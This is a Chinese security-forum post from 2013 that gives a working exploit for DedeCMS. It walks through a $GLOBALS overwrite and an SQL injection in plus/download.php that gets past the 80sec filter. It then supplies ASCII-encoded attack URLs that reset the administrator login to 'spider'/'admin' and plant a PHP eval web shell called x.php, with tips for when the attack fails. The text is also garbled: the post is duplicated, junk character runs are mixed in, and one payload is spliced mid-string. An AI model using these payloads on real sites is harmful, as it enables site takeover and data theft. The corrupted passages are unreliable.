找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › dedecms最新版本修改任意管理员漏洞+getshell+exp
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2564|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
此漏洞无视gpc转义，过80sec注入防御。
& ]) [  K+ p' B- D* M- ~补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？
" O* n* C3 ~: e& w起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。
4 N1 F* A2 t1 y! c  P+ M, X$ }include/dedesql.class.php
% @; P; _4 t2 C/ k9 [, f9 f- Fif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖，是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说，不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。% ?' l9 h/ S* ?3 A
同一文件中，有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2! F3 y7 `1 H1 G
而用ExecuteNoneQuery2执行SQL并没有防注入，于是随便找个用ExecuteNoneQuery2执行的文件。
# ~' Y1 [5 \1 z$ E) E  q  }; c4 cplus/download.php
8 V) U, n9 |, `7 `( helse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密，程序会帮我们自动解密的，所以无视gpc)：
% G0 a# }* K/ W6 T# ]6 W# M' m* Fadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
, Z5 ~  ~# Q! _3 n6 AUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:; [) e0 ]8 M3 H  g" z1 e, w; d
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题，后台登录用户spider密码admin! D# Z! w  }' T- d& Q, V* k- E
漏洞真的不止一处，各种包含，远程代码执行，很多，列位慢慢研究。
/ S$ B* {. U8 X- _$ @0 S* ?( v3 v如果找不到后台，参见以前修改数据库直接拿SHELL的方法
& [4 f6 k6 f) H' x* FUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义，过80sec注入防御。
) C6 N5 w8 a$ [4 u5 T% q补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？% P" {1 a+ r, d6 p* x
起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。
/ y  C! ^: A8 p8 }! oinclude/dedesql.class.php
. }% Y4 g9 M' {9 z; c7 gif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖，是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说，不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。( T# W* R& n3 w/ w" Z3 Q
同一文件中，有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2; c+ @( ?0 V6 U
而用ExecuteNoneQuery2执行SQL并没有防注入，于是随便找个用ExecuteNoneQuery2执行的文件。
# H( P' l# h% n7 M6 Bplus/download.php  u4 i6 e/ a2 U: o
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密，程序会帮我们自动解密的，所以无视gpc)：4 M  Q0 P1 s4 z8 X. l: x
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
( g" j! Y/ M7 ~' aUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
+ ]2 V3 R" }, f" Thttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题，后台登录用户spider密码admin( w, O% Y2 v( J7 N- H' I8 l
漏洞真的不止一处，各种包含，远程代码执行，很多，列位慢慢研究。. k+ d: |$ E) g# i( W) z& f5 i& ~* P
如果找不到后台，参见以前修改数据库直接拿SHELL的方法4 R9 Z1 f' L7 {
___FCKpd___6getshell：
3 n  J4 a- Z* U( A0 O  N, S+ ]http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
7 J% B) P2 }+ u# t0 U5 G" |http://127.0.0.1/plus/x.php$ q- C* s2 L/ Q4 B! u
update成功后还要访问下 /plus/mytag_js.php?aid=1+ U& z8 m+ G( r& ~8 \; O) u4 q
失败原因：
! z3 _; i$ d8 c6 ~4 y3 u- p9 j* p测试发现，如果aid为空或已经生成过一次，则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)" ~. t) n6 v) A$ c5 s" o
配图：# C) P$ t2 d7 g5 z: h
1.查看dede当前版本# R6 b% z7 V% i) {; i
6 |* J# H/ G% _3 ?# q6 h6 C
2.执行exp
8 ?' Y% u3 f0 D! ?1 f5 Q
' b/ a* [1 M# O4 _# G. ?http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台- x8 D) z+ X/ K
9 f2 n& C# E, S9 n! f+ u
spider密码admin
* ~' l7 Y7 j. N) j4 d. [& e! j0 m1 C2 M+ I
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
$ a; c2 W5 @2 R- v8 g原作者：imspider
) ]- z3 v. D' S# C. O6 X! f
3 Q; Q/ G8 T9 K9 M" }本博客测试+配图+getshell# L/ `  P  m% e1 t6 B7 D
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
/ U& E- v2 J. E! b4 J! V1 c, B5 g6 w
getshell：
) x# t% D+ F( T9 i* I5 C___FCKpd___7会在plus目录生成 x.php 密码 m8 n) ?, T$ O% {
http://127.0.0.1/plus/x.php
. j8 T9 ~" _4 Uupdate成功后还要访问下 /plus/mytag_js.php?aid=13 D4 M6 h- _. x8 z9 L/ c0 V( d, n
失败原因：, }  X* r% {8 P9 H7 m6 j
测试发现，如果aid为空或已经生成过一次，则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)7 |) l: v5 X. p7 w9 g+ B1 o$ P$ A$ J  {
配图：# ]2 f3 e" p5 i  A2 W. l, l; V) l& @
1.查看dede当前版本6 X9 h# K# \+ B" }  R; w
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png" Y5 v" {- p  v7 S/ U' n" U  q- d) @
2.执行exp
9 Z' l, J$ i! }( @9 S8 ~1 Ghttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台9 L+ l3 B' y+ |
spider密码admin
* f& Q- K( U6 D- e9 c! N- n7 shttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png* \& h8 K8 ~+ }* E* V. Z

4 c  _: F) g0 K! G1 a/ e9 x
function, dedecms, 管理员, 数据库

相关帖子
回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表